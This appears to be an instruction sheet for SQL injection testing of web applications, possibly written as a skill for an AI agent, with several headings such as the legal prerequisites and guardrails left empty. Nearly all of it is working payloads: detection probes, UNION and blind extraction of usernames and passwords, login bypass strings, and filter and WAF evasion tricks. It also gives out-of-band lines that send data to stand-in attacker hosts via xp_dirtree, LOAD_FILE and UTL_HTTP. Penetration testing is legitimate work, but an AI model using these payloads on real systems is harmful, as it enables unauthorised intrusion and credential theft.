SQL Injection Testing

SQL Injection Testing

Purpose

Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.

Inputs / Prerequisites

Required Access

Technical Requirements

Legal Prerequisites

Outputs / Deliverables

Primary Outputs

Evidence Artifacts

Core Workflow

Phase 1: Detection and Reconnaissance

#### Identify Injectable Parameters

Locate user-controlled input fields that interact with database queries:

# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For

#### Test for Basic Vulnerability Indicators

Insert special characters to trigger error responses:

-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

-- Parentheses
)

Monitor application responses for:

#### Logic Testing Payloads

Verify boolean-based vulnerability presence:

-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition tests  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare responses between true and false conditions to confirm injection capability.

Phase 2: Exploitation Techniques

#### UNION-Based Extraction

Combine attacker-controlled SELECT statements with original query:

-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

#### Error-Based Extraction

Force database errors that leak information:

-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--

#### Blind Boolean-Based Extraction

Infer data through application behavior changes:

-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

#### Time-Based Blind Extraction

Use database sleep functions for confirmation:

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

#### Out-of-Band (OOB) Extraction

Exfiltrate data through external channels:

-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

Phase 3: Authentication Bypass

#### Login Form Exploitation

Craft payloads to bypass credential verification:

-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2

Query transformation example:

-- Original query
SELECT * FROM users WHERE username='input' AND password='input'

-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment

Phase 4: Filter Bypass Techniques

#### Character Encoding Bypass

When special characters are blocked:

-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)

-- Double URL encoding
%2527 (single quote)

-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)

-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex

#### Whitespace Bypass

Substitute blocked spaces:

-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users

-- Alternative whitespace
SELECT%09username%09FROM%09users  -- Tab character
SELECT%0Ausername%0AFROM%0Ausers  -- Newline

#### Keyword Bypass

Evade blacklisted SQL keywords:

-- Case variation
SeLeCt, sElEcT, SELECT

-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION

-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

-- Null byte injection
%00SELECT
SEL%00ECT

Quick Reference

Detection Test Sequence

1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay

Database Fingerprinting

-- MySQL
SELECT @@version
SELECT version()

-- MSSQL
SELECT @@version
SELECT @@servername

-- PostgreSQL
SELECT version()

-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version

Information Schema Queries

-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

Common Payloads Quick List

| Purpose | Payload |

|---------|---------|

| Basic test | ' or " |

| Boolean true | OR 1=1-- |

| Boolean false | AND 1=2-- |

| Comment (MySQL) | # or -- |

| Comment (MSSQL) | -- |

| UNION probe | UNION SELECT NULL-- |

| Time delay | AND SLEEP(5)-- |

| Auth bypass | ' OR '1'='1 |

Constraints and Guardrails

Operational Boundaries

Technical Limitations

Legal and Ethical Requirements

Examples

Example 1: E-commerce Product Page SQLi

Scenario: Testing product display page with ID parameter

Initial Request:

GET /product.php?id=5 HTTP/1.1

Detection Test:

GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near ''' 

Column Enumeration:

GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)

Data Extraction:

GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials

Example 2: Blind Time-Based Extraction

Scenario: No visible output, testing for blind injection

Confirm Vulnerability:

id=5' AND SLEEP(5)-- 
-- Response delayed by 5 seconds (vulnerable confirmed)

Extract Database Name Length:

id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters

Extract Characters:

id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'

Example 3: Login Bypass

Target: Admin login form

Standard Login Query:

SELECT * FROM users WHERE username='[input]' AND password='[input]'

Injection Payload:

Username: administrator'--
Password: anything

Resulting Query:

SELECT * FROM users WHERE username='administrator'--' AND password='anything'

Result: Password check bypassed, authenticated as administrator.

Troubleshooting

No Error Messages Displayed

UNION Injection Fails

WAF Blocking Requests

Payload Not Executing

Time-Based Injection Inconsistent